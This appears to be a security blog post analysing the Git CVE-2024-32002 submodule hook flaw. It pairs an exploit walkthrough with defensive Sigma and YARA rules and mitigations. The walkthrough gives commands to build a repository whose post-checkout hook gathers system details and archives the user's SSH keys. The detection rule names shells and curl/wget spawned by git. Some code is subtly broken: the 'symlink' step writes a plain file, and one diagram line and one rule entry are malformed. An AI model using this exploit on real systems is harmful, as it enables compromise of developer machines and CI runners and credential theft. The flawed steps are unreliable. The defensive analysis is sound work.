Git SCM: Deconstructing CVE-2024-32002 Submodule Hook RCE
Overview & Threat Landscape: Git SCM & Recursive Clone Exploitation (CVE-2024-32002)#
Git CVE-2024-32002 allows remote code execution via submodule symlink collision and hook injection. Upgrade Git to 2.45.1+ and audit CI/CD clones.
In the software development lifecycle, git clone is widely regarded as a safe, read-only operation. Developers, automated build agents, and continuous integration (CI/CD) pipelines clone untrusted third-party repositories, open-source dependencies, and student project submissions under the assumption that merely fetching source code cannot trigger arbitrary command execution without an explicit build or script invocation step.
However, in May 2024, the Git core security team disclosed CVE-2024-32002 (GitHub Security Advisory GHSA-8h77-4q3w-gfgv, rated Critical with a CVSS score of 9.0, mapped to MITRE ATT&CK T1195.001: Supply Chain Compromise, T1546.004: Event Triggered Execution: Unix Shell Configuration, and T1204.002: User Execution: Malicious File). This vulnerability allows a remote attacker to achieve Zero-Click Remote Code Execution on the victim's host machine simply by enticing them to execute a recursive clone (git clone --recursive) of a maliciously structured Git repository.
For DevSecOps architects, platform security engineers, and exploit analysts, CVE-2024-32002 represents a profound supply chain risk:
- The Shattered Safe-Clone Assumption: Git explicitly forbids repositories from distributing active hooks in
.git/hooks/. The security model of Git rests on the guarantee that cloning a repository will never configure or execute local client-side hooks without user intervention. CVE-2024-32002 shatters this trust boundary by tricking Git into writing an attacker-controlled executable directly into its own internal.git/modules/<name>/hooks/directory. - The Case-Insensitive Filesystem Collision: The root cause arises from an impedance mismatch between Git's internal case-sensitive path handling and host operating systems using case-insensitive filesystems (such as Microsoft Windows NTFS/FAT and Apple macOS APFS/HFS+, as well as Linux filesystems with case-folding enabled). By pairing a directory symlink with a submodule differing only by letter case (e.g.,
apointing to.gitversusA/modules/x), Git inadvertently follows the symlink when writing submodule data. - Universal CI/CD Pipeline Exposure: Automated build systems—including GitHub Actions runners, GitLab CI shared runners, Jenkins nodes, and automated dependency-scanning bots—routinely execute
git clone --recursiveorgit submodule update --init --recursiveto assemble multi-repo projects. An attacker submitting a pull request or dependency update containing this payload can compromise the CI runner, harvest cloud deploy keys, and poison production deployment artifacts. - Immediate Hook Execution Trigger: The code execution does not require a secondary
git commitorgit pushevent. The moment Git finishes cloning the nested submodule, it invokes the standard internal hookpost-checkoutto notify the repository of checkout completion. Because the hook was planted in the submodule's hook directory via the symlink collision, Git executes the attacker's payload immediately.
Any automated CI/CD runner or developer workstation running Git versions prior to 2.45.1 on Windows or macOS is vulnerable to immediate remote compromise upon cloning an untrusted repository with submodules enabled.
🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Guide.
Vulnerability & Attack Root-Cause Analysis: Symlink Collisions & Hook Poisoning#
To understand how CVE-2024-32002 circumvents Git's internal protections, we must examine how Git manages submodules, directories, and filesystem symlinks.
Submodule Architecture and the .git/modules Hierarchy#
When a repository contains a submodule, the root repository stores its configuration in a tracked plain-text file named .gitmodules.
In modern Git versions, submodules do not store their .git metadata directly inside the submodule's working tree. Instead:
- The parent repository maintains an internal directory at
.git/modules/<submodule_name>/. - Inside
.git/modules/<submodule_name>/, Git initializes a standard repository structure containingconfig,HEAD,objects/,refs/, andhooks/. - Inside the working directory of the submodule, Git creates a simple text file named
.gitcontaining a pointer:gitdir: ../.git/modules/<submodule_name>.
Parent Repository Working Tree
├── .git/
│ ├── config
│ ├── HEAD
│ └── modules/
│ └── x/
│ ├── config
│ ├── HEAD
│ └── hooks/
│ └── post-checkout <-- Execution Target!
├── .gitmodules
└── [Submodule Working Directory]
Git's Symlink Protection Boundary#
Git has long enforced security checks to prevent arbitrary directory traversal during checkout:
- A repository cannot track a file or directory named
.git. - A repository cannot check out a symbolic link whose destination is
.gitif files inside the repository attempt to traverse through it.
However, Git's validation routine relied on path string inspections within Git's internal object tree rather than verifying the resolved canonical path on the physical host filesystem.
The Case-Insensitive Filesystem Collision Mechanism#
On case-insensitive filesystems like NTFS and APFS, the filesystem considers path a and path A to be identical:
- The Symlink Creation: The attacker crafts a repository containing a symbolic link named
a(lowercase). The symlink target is set to the relative path.git(or.git/). - The Submodule Path Declaration: In the same repository, the attacker registers a submodule whose path is defined as
A/modules/x(uppercaseA). - The Checkout Race Condition: When
git clone --recursiveexecutes, Git processes the checkout queue in alphabetical and tree order:- First, Git checks out the tracked filesystem entries of the main repository. It writes the symlink
a -> .gitto disk. - On Windows or macOS,
aexists on disk as a symlink pointing to.git. Because the filesystem is case-insensitive, accessingA/resolves through the existing symlinka, pointing directly into.git/. - Next, Git initializes the submodule
A/modules/x. - Git prepares the storage directory for the submodule. Crucially, Git writes the submodule's repository metadata into
.git/modules/x/. - When Git checks out the files belonging to submodule
x, the submodule itself is designed to contain a file namedhooks/post-checkout. - Because Git believes it is writing into
A/modules/x/hooks/post-checkout, it writes the file through the symlinka/modules/x/hooks/post-checkout. - The file is written directly to
.git/modules/x/hooks/post-checkout!
- First, Git checks out the tracked filesystem entries of the main repository. It writes the symlink
- The Automatic Invocation: As the final step of the submodule checkout, Git invokes the client-side
post-checkouthook:
.git/modules/x/hooks/post-checkout <old-sha> <new-sha> 1
The attacker's shell script executes with the full privileges of the user running git clone.
Exploit Architecture: Case-Insensitive Filesystem Path Traversal to RCE#
The following Mermaid sequence diagram illustrates the complete, zero-click exploit chain during a recursive clone operation on a case-insensitive host.
sequenceDiagram
autonumber
actor Victim as Developer / CI Runner (macOS / Windows)
participant GitClient as Git CLI Client (v < 2.45.1)
participant VFS as Host Filesystem (NTFS / APFS)
participant GitInternal as Local .git Metadata Directory
participant ExploitScript as Malicious post-checkout Hook
Note over Victim,GitClient: Step 1: Initiating Recursive Clone
Victim->>GitClient: git clone --recursive https://c2.internal/repo.git
GitClient->>GitClient: Fetch repository tree & commit objects
Note over GitClient,VFS: Step 2: Symlink Checkout
GitClient->>VFS: Create symlink: "a" -> ".git"
VFS-->>GitClient: Symlink created on case-insensitive filesystem
Note over GitClient,GitInternal: Step 3: Submodule Initialization
GitClient->>GitInternal: Initialize submodule metadata in .git/modules/x/
GitInternal-->>GitClient: Directory .git/modules/x/hooks/ initialized
Note over GitClient,VFS: Step 4: Symlink Collision Traversal
GitClient->>VFS: Checkout submodule files to path "A/modules/x/hooks/post-checkout"\n VFS->>VFS: Case collision: "A" matches existing symlink "a" -> ".git"
VFS->>GitInternal: Write payload directly to .git/modules/x/hooks/post-checkout
GitInternal-->>VFS: File marked executable (mode 0755)
Note over GitClient,ExploitScript: Step 5: Automatic Hook Detonation
GitClient->>GitClient: Submodule checkout completes
GitClient->>ExploitScript: Execute .git/modules/x/hooks/post-checkout
ExploitScript->>Victim: Arbitrary Shell Execution / Reverse Shell EstablishedAttack Path Step-by-Step: From Malicious Submodule to Arbitrary Shell Execution#
Let us examine the concrete technical steps required to assemble the exploit repository and observe the execution flow.
Step 1: Crafting the Malicious Hook Repository#
The attacker first creates a helper repository (the submodule payload) that contains a malicious executable hook script.
# Create the payload repository
mkdir hook-payload && cd hook-payload
git init
# Create the hooks directory and the executable post-checkout hook
mkdir -p hooks
cat << 'EOF' > hooks/post-checkout
#!/usr/bin/env bash
# Malicious payload executed upon checkout
whoami > /tmp/git_pwned.txt
id >> /tmp/git_pwned.txt
uname -a >> /tmp/git_pwned.txt
# Optional exfiltration of sensitive developer credentials
if [ -d "$HOME/.ssh" ]; then
tar -czf /tmp/ssh_keys.tar.gz "$HOME/.ssh" 2>/dev/null
fi
EOF
chmod +x hooks/post-checkout
git add hooks/post-checkout
git commit -m "Add payload hook"
cd ..
Step 2: Constructing the Parent Exploit Repository#
In the parent repository, the attacker registers the payload repository as a submodule under the path A/modules/x and adds the collision symlink a -> .git.
# Initialize parent exploit repository
mkdir exploit-repo && cd exploit-repo
git init
# Configure case-insensitivity handling for setup
git config core.ignorecase false
# 1. Add the submodule pointing to A/modules/x
git submodule add --name x/y ../hook-payload A/modules/x
git commit -m "Add submodule under A/modules/x"
# 2. Add the symlink "a" pointing to .git
# We use printf to write the symlink target without trailing newline
printf ".git" > a
git add a
git commit -m "Add case-colliding symlink a -> .git"
The resulting .gitmodules file in the root repository links the submodule:
[submodule "x/y"]
path = A/modules/x
url = https://attacker.internal/hook-payload.git
Step 3: Triggering Detonation via Victim Clone#
When a developer on macOS or Windows (or a CI runner on an unpatched Windows/macOS runner image) clones the repository recursively:
# Victim terminal execution
git clone --recursive https://attacker.internal/exploit-repo.git
Execution output trace:
Cloning into 'exploit-repo'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (4/4), done.
Receiving objects: 100% (6/6), done.
Submodule 'x/y' (https://attacker.internal/hook-payload.git) registered for path 'A/modules/x'
Cloning into '.../exploit-repo/A/modules/x'...
Submodule path 'A/modules/x': checked out 'd7a12b...'
Behind the scenes:
ais extracted as a symlink pointing to.git.- Git checks out submodule
x/yintoA/modules/x. - The filesystem resolves
A/modules/x/hooks/post-checkoutthrougha/modules/x/hooks/post-checkout, placing the script inside.git/modules/x/hooks/post-checkout. - Git executes
post-checkout. - The payload executes with full user permissions. The attacker achieves shell execution before the developer can even view the source code.
Fast Cyber Defense Morning Takeaways: CI/CD Pipeline Hardening & Client Isolation#
Mitigating CVE-2024-32002 requires updating client binaries across developer workstations and enforcing pipeline guardrails.
1. Production Sigma Rule: Suspicious Child Process Spawned by Git Client#
The following production Sigma rule monitors endpoint process creation telemetry (Sysmon Event ID 1 or Linux process auditing) to detect command shells or network utilities spawned directly by git.exe or git:
title: Suspicious Process Spawned by Git SCM Client (CVE-2024-32002)
id: f4a8c1e2-7b3d-4a9f-8c1e-0d5b2a9f3c41
status: production
description: Detects command interpreters and network download utilities spawned directly as child processes of git, indicative of malicious submodule hook execution.
references:
- https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv
- https://nvd.nist.gov/vuln/detail/CVE-2024-32002
tags:
- attack.execution
- attack.t1195.001
- attack.t1546.004
- attack.t1204.002
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\git.exe'
- '\git-remote-https.exe'
- '\git-submodule.exe'
selection_child_shell:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
- 'ash.exe'
- '\sh.exe'
- '\curl.exe'
- '\wget.exe'
selection_cmdline:
CommandLine|contains:
- 'post-checkout'
- 'hooks'
- '.git/modules'
condition: selection_parent and (selection_child_shell or selection_cmdline)
falsepositives:
- Legitimate developer git hooks configured locally (verify user intent and hook path).
level: high
2. YARA Rule: Detecting CVE-2024-32002 Submodule Collision in Git Trees#
Security teams can run the following YARA rule against incoming git bundles and repositories in CI/CD pipelines to identify colliding submodule paths and symlinks:
rule Git_Submodule_Symlink_Collision_CVE_2024_32002 {
meta:
description = "Detects Git repository artifacts containing case-colliding symlinks and submodule definitions targeting .git"
author = "Md Redwan Ahmed (Fast Cyber Defense)"
date = "2026-10-21"
reference = "https://github.com/git/git/security/advisories/GHSA-8h77-4q3w-gfgv"
threat_level = "Critical"
strings:
$gitmodules = "[submodule" ascii
$dotgit_symlink = ".git" ascii
$hook_path = "hooks/post-checkout" ascii
$hook_module = "modules/" ascii
condition:
$gitmodules and $dotgit_symlink and ($hook_path or $hook_module)
}
3. Immediate Client Workaround: Disabling Git Symlinks#
For systems where upgrading Git immediately is blocked by enterprise change controls, administrators can neutralize symlink collision vulnerabilities globally by disabling symlink creation:
# Globally disable symlink resolution in Git
git config --global core.symlinks false
# Prevent automatic recursive cloning of submodules
git config --global submodule.recurse false
Executive Takeaway Table: Git Submodule Attack & Defense Matrix#
| Attack Phase & Dimension | Vulnerability Root Cause | Critical Blue Team Detection Signal | Primary Defensive Mitigation |
|---|---|---|---|
| Symlink Ingress | Directory symlink a -> .git checked out before submodule path |
File creation event of symlink pointing to .git directory |
Upgrade Git client to >= 2.45.1; set core.symlinks false |
| Case Collision Traversal | Case-insensitive OS (NTFS/APFS) collapses a/ and A/ |
Submodule checkout writing files into .git/modules/*/hooks/ |
Enforce case-sensitive filesystems or run CI/CD on Linux runners |
| Hook Execution Detonation | Git automatically invokes post-checkout on checkout completion |
Parent git.exe / git spawning child shell (bash, sh, cmd) |
Deploy Sigma rule on Git child processes; monitor hook invocations |
| Credential Theft in CI/CD | Malicious script accesses $HOME/.ssh, deploy tokens, or env vars |
EDR alert on unauthorized file read targeting .ssh/id_rsa or env |
Ephemeral containerized runners with strictly scoped token permissions |
Authoritative References & Further Reading#
- GitHub Security Advisory GHSA-8h77-4q3w-gfgv: Recursive clones on case-insensitive filesystems RCE
- NIST National Vulnerability Database CVE-2024-32002 Detail
- GitHub Blog: Securing Git — Addressing 5 New Vulnerabilities (May 2024)
- Amal Murali Security Research: Exploiting CVE-2024-32002 — RCE via git clone
- Red Hat Security Advisory: CVE-2024-32002 Git Submodule Vulnerability
Comments
Post a Comment